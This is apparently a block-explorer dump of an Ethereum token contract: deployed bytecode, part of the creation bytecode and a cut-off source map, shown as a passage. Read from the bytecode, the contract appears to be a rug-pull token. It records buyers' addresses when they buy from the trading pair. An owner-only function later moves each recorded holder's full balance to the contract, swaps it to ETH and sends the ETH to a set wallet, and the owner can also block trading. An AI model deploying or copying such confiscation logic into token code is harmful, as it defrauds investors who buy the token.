6080830184611c56565b9695505050505050565b600081905092915050565b50565b6000612291600083612276565b915061229c82612281565b600082019050919050565b60006122b282612284565b9150819050919050565b7f54726164696e67206e6f742079657420656e61626c6564000000000000000000600082015250565b60006122f2601783611b0b565b91506122fd826122bc565b602082019050919050565b60006020820190508181036000830152612321816122e5565b905091905056fea2646970667358221220019a448382c903c4483773264e7dfdbe7e742b5cbc2403a1be48163010d5da5b64736f6c63430008080033

Deployed Bytecode

0x60806040526004361061012d5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610400578063b5bb5da71461043d578063bf6a1c0d14610468578063d652aa381461047f578063dd62ed3e146104bc578063f887ea40146104f957610134565b806370a08231146103195780638671e69f146103565780639464a4f51461039357806395d89b41146103aa578063a8aa1b31146103d557610134565b806323b872dd116100f257806323b872dd1461021e5780632c83a0741461025b5780632f9a883e14610298578063313ce567146102c3578063415a6269146102ee57610134565b80625d42b61461013957806306fdde0314610162578063095ea7b31461018d57806318160ddd146101ca57806323396e44146101f557610134565b3661013457005b600080fd5b34801561014557600080fd5b50610160600480360381019061015b9190611ab7565b610524565b005b34801561016e57600080fd5b5061017761078d565b6040516101849190611b88565b60405180910390f35b34801561019957600080fd5b506101b460048036038101906101af9190611be0565b61081f565b6040516101c19190611c3b565b60405180910390f35b3480156101d657600080fd5b506101df610911565b6040516101ec9190611c65565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190611c80565b61091b565b005b34801561022a57600080fd5b5061024560048036038101906102409190611cad565b6109b5565b6040516102529190611c3b565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190611d00565b610ae3565b60405161028f9190611c3b565b60405180910390f35b3480156102a457600080fd5b506102ad610b91565b6040516102ba9190611c65565b60405180910390f35b3480156102cf57600080fd5b506102d8610b97565b6040516102e59190611d49565b60405180910390f35b3480156102fa57600080fd5b50610303610bae565b6040516103109190611c65565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190611d00565b610bb4565b60405161034d9190611c65565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190611c80565b610bfd565b60405161038a9190611d73565b60405180910390f35b34801561039f57600080fd5b506103a8610c47565b005b3480156103b657600080fd5b506103bf610ee6565b6040516103cc9190611b88565b60405180910390f35b3480156103e157600080fd5b506103ea610f78565b6040516103f79190611d73565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190611be0565b610f9e565b6040516104349190611c3b565b60405180910390f35b34801561044957600080fd5b50610452610fb3565b60405161045f9190611c65565b60405180910390f35b34801561047457600080fd5b5061047d610fbf565b005b34801561048b57600080fd5b506104a660048036038101906104a19190611d00565b61106c565b6040516104b39190611c3b565b60405180910390f35b3480156104c857600080fd5b506104e360048036038101906104de9190611d8e565b61108c565b6040516104f09190611c65565b60405180910390f35b34801561050557600080fd5b5061050e611113565b60405161051b9190611e2d565b60405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab90611e94565b60405180910390fd5b60005b815181101561078957600073ffffffffffffffffffffffffffffffffffffffff168282815181106105eb576105ea611eb4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141561064a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064190611f2f565b60405180910390fd5b600f82828151811061065f5761065e611eb4565b5b60200260200101519080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060405180602001604052808484815181106106e7576106e6611eb4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050808061078190611f7e565b9150506105b7565b5050565b60606003805461079c90611ff6565b80601f01602080910402602001604051908101604052809291908181526020018280546107c890611ff6565b80156108155780601f106107ea57610100808354040283529160200191610815565b820191906000526020600020905b8154815290600101906020018083116107f857829003601f168201915b5050505050905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108ff9190611c65565b60405180910390a36001905092915050565b6000600754905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a290611e94565b60405180910390fd5b8060018190555050565b60008019600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610acf5781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ac79190612028565b925050819055505b610ada848484611139565b90509392505050565b6000805b600080549050811015610b86578273ffffffffffffffffffffffffffffffffffffffff1660008281548110610b1f57610b1e611eb4565b5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b73576001915050610b8c565b8080610b7e90611f7e565b915050610ae7565b50600090505b919050565b60085481565b6000600560009054906101000a900460ff16905090565b60015481565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008181548110610c0d57600080fd5b906000526020600020016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce90611e94565b60405180910390fd5b5b600080805490501115610e9357600080600081548110610cfb57610cfa611eb4565b5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dbe9190612028565b9250508190555080600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e14919061205c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff167fa084a0430970fb68b5e41b6d5b361e99a84fe57a5cc1bfc457a146ef9fc05cd382604051610e619190611c65565b60405180910390a28060086000828254610e7b919061205c565b92505081905550610e8c600061114f565b5050610cd8565b6000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610ee457610ee3611268565b5b565b606060048054610ef590611ff6565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2190611ff6565b8015610f6e5780601f10610f4357610100808354040283529160200191610f6e565b820191906000526020600020905b815481529060010190602001808311610f5157829003601f168201915b5050505050905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fab338484611139565b905092915050565b60008080549050905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104690611e94565b60405180910390fd5b6001600960016101000a81548160ff021916908315150217905550565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061114684848461158c565b90509392505050565b600080549050811061116057600080fd5b600060016000805490506111749190612028565b8154811061118557611184611eb4565b5b90600052602060002001600082815481106111a3576111a2611eb4565b5b906000526020600020016000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050506000805480611229576112286120b2565b5b60019003818190600052602060002001600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050905550565b6001600960006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112a05761129f611916565b5b6040519080825280602002602001820160405280156112ce5781602001602082028036833780820191505090505b50905030816000815181106112e6576112e5611eb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561138857600080fd5b505afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c091906120f6565b816001815181106113d4576113d3611eb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460008430426040518663ffffffff1660e01b81526004016114b195949392919061221c565b600060405180830381600087803b1580156114cb57600080fd5b505af11580156114df573d6000803e3d6000fd5b50505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611529906122a7565b60006040518083038185875af1925050503d8060008114611566576040519150601f19603f3d011682016040523d82523d6000602084013e61156b565b606091505b505050506000600960006101000a81548160ff021916908315150217905550565b6000600960009054906101000a900460ff16806116465750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116455750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561166057611656848484611736565b506001905061172f565b600960019054906101000a900460ff166116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a690612308565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561171e5760015482101561171457600080fd5b61171d83611854565b5b611729848484611736565b50600190505b9392505050565b600081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117879190612028565b9250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117dd919061205c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118419190611c65565b60405180910390a3600190509392505050565b600060405180602001604052808373ffffffffffffffffffffffffffffffffffffffff168152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61194e82611905565b810181811067ffffffffffffffff8211171561196d5761196c611916565b5b80604052505050565b60006119806118ec565b905061198c8282611945565b919050565b600067ffffffffffffffff8211156119ac576119ab611916565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119ed826119c2565b9050919050565b6119fd816119e2565b8114611a0857600080fd5b50565b600081359050611a1a816119f4565b92915050565b6000611a33611a2e84611991565b611976565b90508083825260208201905060208402830185811115611a5657611a556119bd565b5b835b81811015611a7f5780611a6b8882611a0b565b845260208401935050602081019050611a58565b5050509392505050565b600082601f830112611a9e57611a9d611900565b5b8135611aae848260208601611a20565b91505092915050565b600060208284031215611acd57611acc6118f6565b5b600082013567ffffffffffffffff811115611aeb57611aea6118fb565b5b611af784828501611a89565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b3a578082015181840152602081019050611b1f565b83811115611b49576000848401525b50505050565b6000611b5a82611b00565b611b648185611b0b565b9350611b74818560208601611b1c565b611b7d81611905565b840191505092915050565b60006020820190508181036000830152611ba28184611b4f565b905092915050565b6000819050919050565b611bbd81611baa565b8114611bc857600080fd5b50565b600081359050611bda81611bb4565b92915050565b60008060408385031215611bf757611bf66118f6565b5b6000611c0585828601611a0b565b9250506020611c1685828601611bcb565b9150509250929050565b60008115159050919050565b611c3581611c20565b82525050565b6000602082019050611c506000830184611c2c565b92915050565b611c5f81611baa565b82525050565b6000602082019050611c7a6000830184611c56565b92915050565b600060208284031215611c9657611c956118f6565b5b6000611ca484828501611bcb565b91505092915050565b600080600060608486031215611cc657611cc56118f6565b5b6000611cd486828701611a0b565b9350506020611ce586828701611a0b565b9250506040611cf686828701611bcb565b9150509250925092565b600060208284031215611d1657611d156118f6565b5b6000611d2484828501611a0b565b91505092915050565b600060ff82169050919050565b611d4381611d2d565b82525050565b6000602082019050611d5e6000830184611d3a565b92915050565b611d6d816119e2565b82525050565b6000602082019050611d886000830184611d64565b92915050565b60008060408385031215611da557611da46118f6565b5b6000611db385828601611a0b565b9250506020611dc485828601611a0b565b9150509250929050565b6000819050919050565b6000611df3611dee611de9846119c2565b611dce565b6119c2565b9050919050565b6000611e0582611dd8565b9050919050565b6000611e1782611dfa565b9050919050565b611e2781611e0c565b82525050565b6000602082019050611e426000830184611e1e565b92915050565b7f4e6f7420746865206f776e657200000000000000000000000000000000000000600082015250565b6000611e7e600d83611b0b565b9150611e8982611e48565b602082019050919050565b60006020820190508181036000830152611ead81611e71565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c69642077616c6c6574206164647265737300000000000000000000600082015250565b6000611f19601683611b0b565b9150611f2482611ee3565b602082019050919050565b60006020820190508181036000830152611f4881611f0c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f8982611baa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611fbc57611fbb611f4f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061200e57607f821691505b6020821081141561202257612021611fc7565b5b50919050565b600061203382611baa565b915061203e83611baa565b92508282101561205157612050611f4f565b5b828203905092915050565b600061206782611baa565b915061207283611baa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120a7576120a6611f4f565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6000815190506120f0816119f4565b92915050565b60006020828403121561210c5761210b6118f6565b5b600061211a848285016120e1565b91505092915050565b6000819050919050565b600061214861214361213e84612123565b611dce565b611baa565b9050919050565b6121588161212d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612193816119e2565b82525050565b60006121a5838361218a565b60208301905092915050565b6000602082019050919050565b60006121c98261215e565b6121d38185612169565b93506121de8361217a565b8060005b8381101561220f5781516121f68882612199565b9750612201836121b1565b9250506001810190506121e2565b5085935050505092915050565b600060a0820190506122316000830188611c56565b61223e602083018761214f565b818103604083015261225081866121be565b905061225f6060830185611d64565b61226c6080830184611c56565b9695505050505050565b600081905092915050565b50565b6000612291600083612276565b915061229c82612281565b600082019050919050565b60006122b282612284565b9150819050919050565b7f54726164696e67206e6f742079657420656e61626c6564000000000000000000600082015250565b60006122f2601783611b0b565b91506122fd826122bc565b602082019050919050565b60006020820190508181036000830152612321816122e5565b905091905056fea2646970667358221220019a448382c903c4483773264e7dfdbe7e742b5cbc2403a1be48163010d5da5b64736f6c63430008080033

Deployed Bytecode Sourcemap

534:6062:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3291:325;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2200:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2933:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2483:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3148:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5292:293;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3918:257;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1046:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2390:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;756:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2584:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;718:29;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4286:475;;;;;;;;;;;;;:::i;:::-;;2293:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1414:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:147;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4183:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2848:77;;;;;;;;;;;;;:::i;:::-;;1333:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2702:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1383:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3291:325;608:6;;;;;;;;;;;594:20;;:10;:20;;;586:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;3377:9:::1;3372:237;3396:7;:14;3392:1;:18;3372:237;;;3462:1;3440:24;;:7;3448:1;3440:10;;;;;;;;:::i;:::-;;;;;;;;:24;;;;3432:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;3506:21;3533:7;3541:1;3533:10;;;;;;;;:::i;:::-;;;;;;;;3506:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3559:10;3575:21;;;;;;;;3585:7;3593:1;3585:10;;;;;;;;:::i;:::-;;;;;;;;3575:21;;;;::::0;3559:38:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3412:3;;;;;:::i;:::-;;;;3372:237;;;;3291:325:::0;:::o;2200:85::-;2239:13;2272:5;2265:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2200:85;:::o;2933:207::-;2999:4;3051:6;3016:11;:23;3028:10;3016:23;;;;;;;;;;;;;;;:32;3040:7;3016:32;;;;;;;;;;;;;;;:41;;;;3094:7;3073:37;;3082:10;3073:37;;;3103:6;3073:37;;;;;;:::i;:::-;;;;;;;;3128:4;3121:11;;2933:207;;;;:::o;2483:93::-;2529:7;2556:12;;2549:19;;2483:93;:::o;3148:87::-;608:6;;;;;;;;;;;594:20;;:10;:20;;;586:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;3221:6:::1;3212;:15;;;;3148:87:::0;:::o;5292:293::-;5383:4;5448:1;5439:11;5404;:19;5416:6;5404:19;;;;;;;;;;;;;;;:31;5424:10;5404:31;;;;;;;;;;;;;;;;:46;5400:120;;5502:6;5467:11;:19;5479:6;5467:19;;;;;;;;;;;;;;;:31;5487:10;5467:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;5400:120;5537:40;5551:6;5559:9;5570:6;5537:13;:40::i;:::-;5530:47;;5292:293;;;;;:::o;3918:257::-;3976:4;3998:9;3993:152;4013:10;:17;;;;4009:1;:21;3993:152;;;4080:6;4056:30;;:10;4067:1;4056:13;;;;;;;;:::i;:::-;;;;;;;;;:20;;;;;;;;;;;;:30;;;4052:82;;;4114:4;4107:11;;;;;4052:82;4032:3;;;;;:::i;:::-;;;;3993:152;;;;4162:5;4155:12;;3918:257;;;;:::o;1046:25::-;;;;:::o;2390:85::-;2433:5;2458:9;;;;;;;;;;;2451:16;;2390:85;:::o;756:21::-;;;;:::o;2584:110::-;2641:7;2668:9;:18;2678:7;2668:18;;;;;;;;;;;;;;;;2661:25;;2584:110;;;:::o;718:29::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4286:475::-;608:6;;;;;;;;;;;594:20;;:10;:20;;;586:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4332:337:::1;4359:1;4339:10:::0;:17:::1;;;;:21;4332:337;;;4377:14;4394:10:::0;4405:1:::1;4394:13;;;;;;;;:::i;:::-;;;;;;;;;:20;;;;;;;;;;;;4377:37;;4429:15;4447:9;:17;4457:6;4447:17;;;;;;;;;;;;;;;;4429:35;;4500:7;4479:9;:17;4489:6;4479:17;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;4550:7;4522:9;:24;4540:4;4522:24;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4583:6;4577:22;;;4591:7;4577:22;;;;;;:::i;:::-;;;;;;;;4628:7;4614:10;;:21;;;;;;;:::i;:::-;;;;;;;;4650:7;4655:1;4650:4;:7::i;:::-;4362:307;;4332:337;;;4712:1;4685:9;:24;4703:4;4685:24;;;;;;;;;;;;;;;;:28;4681:73;;;4730:12;:10;:12::i;:::-;4681:73;4286:475::o:0;2293:89::-;2334:13;2367:7;2360:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2293:89;:::o;1414:19::-;;;;;;;;;;;;;:::o;5137:147::-;5208:4;5232:44;5246:10;5258:9;5269:6;5232:13;:44::i;:::-;5225:51;;5137:147;;;;:::o;4183:95::-;4226:7;4253:10;:17;;;;4246:24;;4183:95;:::o;2848:77::-;608:6;;;;;;;;;;;594:20;;:10;:20;;;586:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2913:4:::1;2898:12;;:19;;;;;;;;;;;;;;;;;;2848:77::o:0;1333:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;2702:138::-;2777:7;2804:11;:19;2816:6;2804:19;;;;;;;;;;;;;;;:28;2824:7;2804:28;;;;;;;;;;;;;;;;2797:35;;2702:138;;;;:::o;1383:24::-;;;;;;;;;;;;;:::o;5593:163::-;5685:4;5709:39;5722:6;5730:9;5741:6;5709:12;:39::i;:::-;5702:46;;5593:163;;;;;:::o;3731:179::-;3793:10;:17;;;;3785:5;:25;3777:34;;;;;;3842:10;3873:1;3853:10;:17;;;;:21;;;;:::i;:::-;3842:33;;;;;;;;:::i;:::-;;;;;;;;;3822:10;3833:5;3822:17;;;;;;;;:::i;:::-;;;;;;;;;:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3886:10;:16;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3731:179;:::o;4769:360::-;1164:4;1155:6;;:13;;;;;;;;;;;;;;;;;;4820:21:::1;4858:1;4844:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4820:40;;4889:4;4871;4876:1;4871:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;4915:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4905:4;4910:1;4905:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;4939:6;;;;;;;;;;;:57;;;4997:9;:24;5015:4;4997:24;;;;;;;;;;;;;;;;5023:1;5026:4;5040;5047:15;4939:124;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;5074:12;;;;;;;;;;;:17;;5099:21;5074:51;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4809:320;1200:5:::0;1191:6;;:14;;;;;;;;;;;;;;;;;;4769:360::o;5764:560::-;5855:4;5876:6;;;;;;;;;;;:57;;;;5887:11;:19;5899:6;5887:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;5910:11;:22;5922:9;5910:22;;;;;;;;;;;;;;;;;;;;;;;;;5887:45;5876:57;5872:157;;;5950:41;5965:6;5973:9;5984:6;5950:14;:41::i;:::-;;6013:4;6006:11;;;;5872:157;6046:12;;;;;;;;;;;6041:79;;6075:33;;;;;;;;;;:::i;:::-;;;;;;;;6041:79;6146:4;;;;;;;;;;;6136:14;;:6;:14;;;6132:109;;;6185:6;;6175;:16;;6167:25;;;;;;6207:22;6219:9;6207:11;:22::i;:::-;6132:109;6253:41;6268:6;6276:9;6287:6;6253:14;:41::i;:::-;;6312:4;6305:11;;5764:560;;;;;;:::o;6332:259::-;6425:4;6463:6;6442:9;:17;6452:6;6442:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;6504:6;6480:9;:20;6490:9;6480:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6543:9;6526:35;;6535:6;6526:35;;;6554:6;6526:35;;;;;;:::i;:::-;;;;;;;;6579:4;6572:11;;6332:259;;;;;:::o;3624:99::-;3681:10;3697:17;;;;;;;;3707:6;3697:17;;;;;3681:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3624:99;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:102;498:6;549:2;545:7;540:2;533:5;529:14;525:28;515:38;;457:102;;;:::o;565:180::-;613:77;610:1;603:88;710:4;707:1;700:15;734:4;731:1;724:15;751:281;834:27;856:4;834:27;:::i;:::-;826:6;822:40;964:6;952:10;949:22;928:18;916:10;913:34;910:62;907:88;;;975:18;;:::i;:::-;907:88;1015:10;1011:2;1004:22;794:238;751:281;;:::o;1038:129::-;1072:6;1099:20;;:::i;:::-;1089:30;;1128:33;1156:4;1148:6;1128:33;:::i;:::-;1038:129;;;:::o;1173:311::-;1250:4;1340:18;1332:6;1329:30;1326:56;;;1362:18;;:::i;:::-;1326:56;1412:4;1404:6;1400:17;1392:25;;1472:4;1466;1462:15;1454:23;;1173:311;;;:::o;1490:117::-;1599:1;1596;1589:12;1613:126;1650:7;1690:42;1683:5;1679:54;1668:65;;1613:126;;;:::o;1745:96::-;1782:7;1811:24;1829:5;1811:24;:::i;:::-;1800:35;;1745:96;;;:::o;1847:122::-;1920:24;1938:5;1920:24;:::i;:::-;1913:5;1910:35;1900:63;;1959:1;1956;1949:12;1900:63;1847:122;:::o;1975:139::-;2021:5;2059:6;2046:20;2037:29;;2075:33;2102:5;2075:33;:::i;:::-;1975:139;;;;:::o;2137:710::-;2233:5;2258:81;2274:64;2331:6;2274:64;:::i;:::-;2258:81;:::i;:::-;2249:90;;2359:5;2388:6;2381:5;2374:21;2422:4;2415:5;2411:16;2404:23;;2475:4;2467:6;2463:17;2455:6;2451:30;2504:3;2496:6;2493:15;2490:122;;;2523:79;;:::i;:::-;2490:122;2638:6;2621:220;2655:6;2650:3;2647:15;2621:220;;;2730:3;2759:37;2792:3;2780:10;2759:37;:::i;:::-;2754:3;2747:50;2826:4;2821:3;2817:14;2810:21;;2697:144;2681:4;2676:3;2672:14;2665:21;;2621:220;;;2625:21;2239:608;;2137:710;;;;;:::o;2870:370::-;2941:5;2990:3;2983:4;2975:6;2971:17;2967:27;2957:122;;2998:79;;:::i;:::-;2957:122;3115:6;3102:20;3140:94;3230:3;3222:6;3215:4;3207:6;3203:17;3140:94;:::i;:::-;3131